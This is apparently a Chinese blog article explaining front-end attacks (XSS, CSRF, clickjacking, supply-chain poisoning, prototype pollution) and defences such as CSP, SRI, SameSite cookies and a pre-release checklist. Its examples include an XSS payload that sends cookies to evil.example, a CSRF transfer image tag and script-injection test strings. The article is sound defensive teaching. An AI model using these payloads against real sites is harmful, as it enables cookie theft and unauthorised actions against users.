前端安全防御实战:XSS、CSRF、供应链攻击与CSP/SRI加固 最近在评审一个前端项目时我把源码里所有能被用户输入影响的路径都过了一遍从攻击者的视角去拆 JavaScript结果发现的问题比预期多得多。“前端攻击”这四个字听起来像是安全团队的事但真正落到代码里就是一个个innerHTML、一段段没校验的postMessage、一个没限制来源的第三方脚本。浏览器把 JavaScript 当成了可以完全信任的执行者而攻击者只需要找到一个能往这个执行环境里塞东西的入口。这篇文章我会从底层信任模型讲起把 XSS、CSRF、点击劫持、供应链攻击、敏感信息泄露这些前端攻击的常见玩法逐一拆开再结合我踩过的坑给出可直接落地的防御清单。适合前端工程师、全栈开发者以及所有要对自己 Web 项目负责的人。1. 前端攻击的底层逻辑浏览器到底信任了什么1.1 浏览器的信任边界要理解前端攻击先得理解浏览器的运行机制。你在地址栏输入一个网址浏览器会加载对应的 HTML、CSS 和 JavaScript然后以这个页面的“源”协议、域名、端口为单位赋予它一系列能力读写当前页面 DOM、发送网络请求、读取部分存储、操作 Cookie 等。对浏览器来说只要脚本来自当前页面它就默认可信至于这些脚本里有没有隐藏恶意逻辑浏览器本身并不关心。这个信任模型有一个非常关键的延伸页面上加载的第三方脚本和第一方脚本拥有几乎一样的权限。如果你在页面里引入了一个被污染的统计脚本它不但能采集访问数据还能窃取用户输入的密码、读取当前页面中的业务数据甚至代替用户发起操作。这就是为什么前端攻击的破坏力一点都不比服务端渗透小——浏览器把所有 JavaScript 都放进同一个信任圈里一旦圈内混入恶意代码防线就从内部塌了。从攻击者的角度看一次完整的前端攻击通常需要三个条件可控制的输入点、可触发的执行点、可窃取或篡改的目标。输入点可能是 URL 参数、表单字段、路由路径也可能是localStorage里被其他页面写入的值执行点可能是innerHTML赋值也可能是动态eval或new Function目标则可能是用户身份凭证、页面数据甚至是用户对某个按钮的点击行为。1.2 攻击链的基本形态我习惯把前端攻击链画成一条简单链路外部输入进入页面开发者把输入当作可信内容拼接到 DOM、代码或请求中浏览器在用户会话上下文中执行了非预期操作敏感数据被窃取或用户行为被劫持这条链路上任何一个环节有防护攻击都很难走通。所以真正的前端防御不是靠一两个函数而是要在每个环节上都设置检查点。输入侧要验证格式和白名单输出侧要针对上下文编码网络侧要限制跨域读取运行侧要用内容安全策略约束脚本来源存储侧要谨慎存放 Session 凭据。还有一个容易被忽略的点前端代码是公开的。任何混淆、压缩都只是增加阅读难度并不能阻止攻击者拿到完整源码。所谓前端攻击本质上就是在代码已经透明的前提下寻找开发者留下的不安全假设。比如假设用户不会改请求参数、假设第三方 Script 永远可信、假设localStorage里的数据一定是自己写的。这些假设一旦被打破攻击就会发生。2. 最常见的 JavaScript 攻击手法拆解2.1 XSS从反射型到 DOM 型跨站脚本XSS是前端攻击里大家听得最多的一个词但它比很多人想象的更隐蔽。简单说攻击者让目标页面执行了他构造的一段脚本这段脚本在目标用户的浏览器上下文中运行所以可以读取 Cookie、拿到页面内容、伪造请求。我见过最经典的案例是搜索框用户搜索关键词页面直接把关键词回显到标题栏开发者图省事用了innerHTML拼接结果攻击者提交img srcx onerroralert(document.cookie)就能弹窗。这段代码就是一个典型的“危险示范”// 危险做法直接把 URL 参数拼进 DOM const name new URLSearchParams(location.search).get(name); document.getElementById(welcome).innerHTML 你好 name;如果攻击者构造?nameimg srcx onerrorwindow.locationhttps://evil.example/steal?cookiedocument.cookie当受害者点击这个链接时恶意脚本就会在受害者浏览器里执行。XSS 又分反射型、存储型和 DOM 型。反射型需要受害者点击带恶意参数的链接存储型则是把恶意脚本存进数据库所有访问该页面的用户都会被攻击DOM 型则完全在前端代码里完成服务端甚至看不到恶意载荷。防御 XSS 的核心原则只有一个永远不要把不可信字符串按 HTML 插入。能用textContent就用textContent能用主流框架的插值语法就用插值语法因为那些语法默认会做 HTML 转义。innerHTML、outerHTML、document.write这类接口要过审确需使用时必须调用定义良好的转义函数。另一种思路是给脚本来源加白名单用内容安全策略把内联脚本和远程未知脚本全部挡在外面即使漏掉一个字符串拼接点恶意脚本也很难被执行。2.2 CSRF用户身份被“借”走跨站请求伪造CSRF和 XSS 的切入点完全不同。XSS 是想办法往页面里塞脚本CSRF 则不需要任何脚本注入它利用的是浏览器自动携带 Cookie 的机制。你登录了银行站点浏览器里留下了有效的会话 Cookie然后你访问了一个恶意站点恶意页面里藏了一个img srchttps://bank.example/transfer?amount1000toattacker。浏览器请求这张图片时会自动带上银行站点的 Cookie服务端验证通过转账就完成了。前端项目里 CSRF 的坑往往出现在接口设计上。很多开发者把接口设计成既接受表单提交也接受 JSON 提交同时又把认证完全寄托在 Cookie 上这等于给攻击者留了后门。防御手段倒不复杂第一关键操作必须校验不可预测的 Token也就是 CSRF Token而且 Token 不要放在 URL 参数里避免通过 Referer 泄露第二给 Cookie 设置SameSiteLax或SameSiteStrict让浏览器在跨站请求时不再自动携带会话 Cookie第三服务端对写操作强制校验Content-Type和自定义请求头因为跨站表单无法发送自定义 Header。需要注意的是SameSiteLax对绝大多数场景都够用比如用户从外部链接进入站点时顶层导航请求仍然会带 Cookie不会破坏正常体验而跨站 POST 子请求则不会携带 Cookie。如果你的业务有跨站跳转后需要保持登录的需求最好在路由层单独处理而不是把 Cookie 策略一刀切放宽。2.3 点击劫持看不见的诱导点击劫持和 XSS、CSRF 都不太一样它不偷 Cookie也不注入脚本而是利用 iframe 透明覆盖来劫持用户的点击。攻击者在自己的页面里嵌入目标站点设置 iframe 为透明再叠加一个诱导按钮用户以为自己在点“领取优惠券”实际点中的却是目标页面里某个关键操作按钮。等到用户发现时可能已经关注了某个账号、发送了某个请求甚至提交了订单。这种攻击的防御方案非常明确基本不依赖业务代码Content-Security-Policy: frame-ancestors none; X-Frame-Options: DENY其中X-Frame-Options是老一代浏览器的默认支持frame-ancestors是 CSP 规范里的更现代方案两行都配兼容性更好。如果你确实需要允许某些可信域名嵌入页面那就在 CSP 里列出具体来源比如frame-ancestors https://trusted.example。前端 JS 里用“if (top ! self) top.location self.location”这类 frame busting 脚本并不可靠攻击者可以设置sandbox属性或提前拦截top.location写入所以千万不要只依赖 JS 做防御。3. 供应链攻击第三方依赖成为重灾区3.1 依赖注入与投毒现代前端项目动辄依赖成百上千个第三方包这给了攻击者一个非常诱人的目标直接污染某个依赖包比攻破某个具体网站容易得多。这类供应链攻击的事件这几年越来越多典型做法有两种一种是注册一个和热门包名称高度相似的“仿冒包”诱导开发者装错另一种是先维护一个正常小工具等下载量上来后再发布恶意版本把窃取环境变量的代码藏进安装脚本里。前端依赖一旦被投毒恶意代码就在你的生产环境里运行了。它能够读取process.env、调用你的内部接口、篡改页面内容甚至把用户数据发送到指定服务器。更麻烦的是很多宿主环境还会自动安装传递依赖你可能只直接依赖了几十个包但node_modules里实际有上千个包任何一个间接依赖被污染都会影响整个项目。我之前接手过一个模拟项目构建的时候突然多了一条可疑请求追查后发现是某个两周前刚更新的小工具包在postinstall里执行了外部命令。这种问题在锁文件管理不严格的项目里很容易漏掉。所以我的习惯是锁文件必须提交到代码库新增依赖前先看包的维护频率和下载量安装完用依赖扫描工具跑一遍把已知漏洞列表对照 CI 流程高危包直接阻塞发布。3.2 前端资源完整性校验 SRI第三方依赖除了经过包管理仓库进入构建产物还可能以 CDN 的形式直接加载到页面。这种外链脚本的风险在于你完全无法控制发布方在某个时间点推送什么内容。今天返回的是正常统计代码明天就可能变成恶意脚本。对于这种场景可以使用子资源完整性校验SRI在script标签里加上integrity属性浏览器加载后会先计算脚本内容的哈希与integrity属性中的值比对不一致就拒绝执行。script srchttps://cdn.example.com/lib.js integritysha384-zh7XgI6pl8s1i6D6lXn0j8BKS0h5zTzM8pBm/5eLZPO5Q5v6kY8lZ9z5Tp4BzZ crossoriginanonymous /script使用 SRI 有几个容易踩的坑。第一integrity属性一旦加上如果 CDN 上的文件被合法更新哈希对不上脚本就会加载失败所以更新静态资源时必须同步更新哈希值。第二跨域加载脚本要配合crossoriginanonymous否则浏览器不执行完整性校验。第三如果脚本是动态插入的需要在插入前自己校验哈希而不是靠浏览器自动处理。SRI 不是银弹它只解决“资源被替换”的问题不解决“资源源站本身就被攻破”的问题但对绝大多数使用公共 CDN 的项目来说这层保险值得加上。3.3 打包产物里藏东西供应链攻击不只发生在依赖安装阶段构建和发布阶段同样可能被动手脚。比如某个开发者本机的工具链被污染或者 CI 镜像里被塞了后门最终生成的 JS 包就成了携带恶意代码的“特洛伊木马”。这类问题很难通过阅读源码发现因为源码是干净的恶意代码是在构建时被注入的。我见过一个真实案例某项目发布到内网的脚本被人篡改了多了一段setInterval每隔五分钟向某个域名发送一次页面信息而 Git 仓库里的源码完全正常。面对这种问题我能提供的最佳实践是“构建可重复”和“产物校验”。在 CI 里固定构建镜像版本使用完整哈希锁住所有依赖构建产物自动生成一份哈希清单发布时将哈希清单一起部署。线上环境的静态文件可以定期通过调试工具验证哈希一旦发现和预期不一致立刻按安全事件处理。另外物理层和网络层的安全同样要留意如果服务器被拿下了再安全的代码也保不住。4. 被忽视的高危面Cookie、CORS 与敏感信息4.1 Cookie 策略与跨域配置我在评审代码时首先会翻接口层的 Cookie 和跨域配置因为这里的问题往往是一行配置引发的灾难。最常见的是后端为了图省事把Access-Control-Allow-Origin设成了*同时又允许前端携带 Cookie。按照规范这种配置实际上不可用但有些框架会把它们组合起来浏览器要么直接拦截要么在某些情况下允许异常请求。真正危险的是配置成“动态回显 Origin”即请求带什么 Origin 就返回什么攻击者就能用自己的域名跨域读取接口返回的数据。Cookie 本身也有讲究。会话 Cookie 至少要带Secure和HttpOnlySecure确保只通过 HTTPS 传输HttpOnly防止 JavaScript 读取 Cookie这样即使发生了 XSS攻击者也不能直接偷走 Session。SameSite属性前面提过是 CSRF 的第一道防线。如果发现某些接口依赖第三方站点的跨域请求比如支付回调就要单独评估风险不能图省事把所有跨域策略全部放开。4.2 源码与日志里的敏感信息前端代码是公开的这个属性决定了你不该把任何真正的密钥放在前端。JS 代码里写死的 API Key、在控制台打印的 Token、随请求参数传出去的用户手机号都是常见的信息泄露点。有人觉得“代码压缩混淆了别人看不到”其实压缩只是提高阅读门槛用还原工具几分钟就能整理出变量名和字符串不可能靠混淆保护机密信息。还有一类隐蔽泄露来自错误监控。前端监控为了判断问题往往会把当前页面 URL、用户操作路径、局部变量一起上报如果不做脱敏用户的搜索关键词、输入内容、Token 片段就可能被送到第三方监控服务。我之前在某个模拟项目中就遇到过监控脚本把localStorage里的用户缓存整包上传排查问题时看着方便但安全隐患非常大。现在的做法是日志里只记录必要的操作标识所有身份信息在收集端就做哈希处理线上环境关闭对敏感字段的详细输出。4.3 原型污染看起来不起眼影响面广原型污染在 JavaScript 项目里属于比较进阶的攻击手法。它的核心思路是攻击者通过修改对象的原型__proto__、prototype、constructor等属性给所有对象注入非预期属性或方法。很多递归合并、深度拷贝工具没有对__proto__做防护当外部输入进入合并逻辑时就可能被污染。一旦原型被修改后续创建的所有对象都会带上攻击者控制的属性进而影响权限判断、流程控制甚至触发 RCE。防御原型污染的手段并不复杂能不递归就不递归能不用Object.assign合并不可信对象就不用如果非要合并先用白名单过滤键名明确剔除__proto__、prototype和constructor。同时可以给核心对象执行Object.freeze(Object.prototype)阻断大多数修改路径。更重要的是任何来自用户输入的数据在进入存储和计算前都应该被当作不可信数据先做一次结构校验而不是直接丢给深拷贝函数去处理。5. 纵深防御从代码到发布的完整方案5.1 输出编码与安全上下文前端的编码问题有个容易混淆的地方编码不是一套函数走天下而是要看输出位置。把字符串输出到 HTML 属性、输出到 JavaScript 代码、输出到 URL 中分别需要不同的转义规则。HTML 里要转义 JavaScript 字符串里要处理引号和换行符URL 里要使用encodeURIComponent。很多早期的 XSS 漏洞就是错把 HTML 转义函数用在了 JS 上下文里结果引号逃逸失败攻击载荷照样执行。现代框架推荐的做法是“按上下文默认安全”。在模板里输出变量框架会默认对 HTML 转义绑定属性值框架会处理属性上下文传入 URL框架会做协议校验。框架的安全机制能挡住大部分问题但前提是你不要绕过它去用那些“危险接口”比如v-html、dangerouslySetInnerHTML。一旦用了这些接口就等于手动声明“这段内容是安全的”而这个声明如果判断错了框架也救不了你。5.2 CSP、SRI 与安全响应头内容安全策略CSP是前端攻击防御里性价比最高的一个配置。它通过 HTTP 响应头告诉浏览器页面可以加载哪些来源的脚本、样式、图片、字体禁止哪些行为。一个基础且推荐的生产配置大概长这样Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self; frame-ancestors none; upgrade-insecure-requests;这里的核心是script-src self它表示脚本只能从同源地址加载所有内联脚本和远程未知脚本都会被阻止。如果项目里确实需要内联脚本可以换成unsafe-inline加 nonce 或 hash 的白名单模式但千万不要无脑加unsafe-eval那会直接绕过大部分 XSS 防护。配置 CSP 时建议先在Content-Security-Policy-Report-Only模式下观察一段时间把误报和遗漏补上再切换为强制模式。安全响应头里还有几个常用的组合X-Content-Type-Options: nosniff防止浏览器猜测文件类型Referrer-Policy: no-referrer减少 URL 参数通过 Referer 泄露Strict-Transport-Security强制 HTTPS。我通常会把这些头统一放在网关或者 Web 服务器配置层避免每个前端开发者重复配置。5.3 上线前攻击自测清单防御不能只停留在理论层面我习惯在上线前按照清单过一遍相当于给项目做一次轻量级渗透。这个清单不要求你有专业安全测试背景按部就班操作就行。检查项操作方式预期结果XSS 输入点在输入框提交scriptalert(1)/script和img srcx onerroralert(1)页面无弹窗内容以文本形式显示DOM XSS 路径修改 URL 参数后观察页面是否执行异常脚本无脚本执行控制台无异常请求CSRF 防护用本地页面模拟跨站 POST 请求请求被拒绝或未携带有效 Token点击劫持在本地 iframe 中加载目标页面页面被拒绝嵌入敏感信息全局搜索源码中的密钥、Token、手机号无真实敏感信息依赖漏洞运行依赖扫描工具查看高危列表高危漏洞已处理或确认不影响Cookie 属性查看响应头里的 Set-Cookie包含 Secure、HttpOnly、SameSiteCSP 生效打开控制台查看安全策略报错无关键资源被拦截且无安全警告这个清单只覆盖了常见漏洞并不是完整的安全测试。真要面对高价值系统还是需要专业渗透测试把业务逻辑、第三方集成、服务端接口全部过一遍。但至少它能拦住 80% 的初级问题适合大多数中小团队在每次发布前执行。6. 常见问题排查与避坑实录6.1 典型问题速查新手配置前端安全时总会遇到一些看起来“改完反而坏了”的情况。我整理了几个高频问题方便排查。问题现象可能原因处理方法加了 CSP 后页面样式全乱了CSP 没有允许样式来源在style-src中加入来源或 nonce在线统计脚本突然失效脚本来源被 CSP 拦截把统计域名加入script-src白名单登录后页面跳转正常但接口全部 403SameSite 导致跨站请求不带 Cookie区分“顶层导航”和“子请求”按需设置 SameSite 值某些浏览器打开页面报 SRI 错误静态资源更新后哈希未同步重新生成 integrity 哈希并更新 HTML控制台出现“Violation”警告页面使用危险 API 或 CSP 违规定位违规脚本替换为安全写法用户反馈点击按钮没反应点击被透明 iframe 覆盖或 JS 被 CSP 禁用检查frame-ancestors、X-Frame-Options和script-src排查这类问题有个笨办法但很有效先把响应头一个个摘掉观察恢复效果定位是哪个头导致的再精确修改配置。注意这种操作只能在测试环境做线上环境禁止随意调整安全头。6.2 我实际踩过的几个坑第一次给项目配置 CSP 时我把script-src设置成了严格的self结果线上一个 A/B 测试脚本全部被拦截转化数据整整少了半天。后来才意识到A/B 测试脚本是远程域名动态加载的而且包含内联逻辑。解决方法是把已验证的远程域名加进白名单内联脚本改用 nonce 白名单配合上报模式确认无遗漏后再强制。这个过程教会我一件事安全配置一定要先灰度不要一把切死。还有一次是在处理登录态时团队把 Session Token 放进了localStorage。这样确实方便了前端读取但一旦存在 XSS整个localStorage都能被读取Token 等于送到了攻击者手上。后来我们把 Token 迁移到了HttpOnlyCookie同时对前端不再需要 Token 的代码做了一次全面清扫。过程很痛苦但这是必须做的取舍。关于第三方脚本我现在的底线是凡是可以延迟加载的脚本就延迟加载凡是可以用 SRI 锁住的脚本就锁住凡是来源不明的脚本一律不引入。哪怕它功能再好只要维护团队不透明我都会怀疑它在拿走用户什么数据。前端攻击的可怕之处往往不是技术有多高级而是开发者无意中留下的信任漏洞。把你的每一行代码都当成是暴露在众目睽睽之下的东西来写很多坑都能提前避开。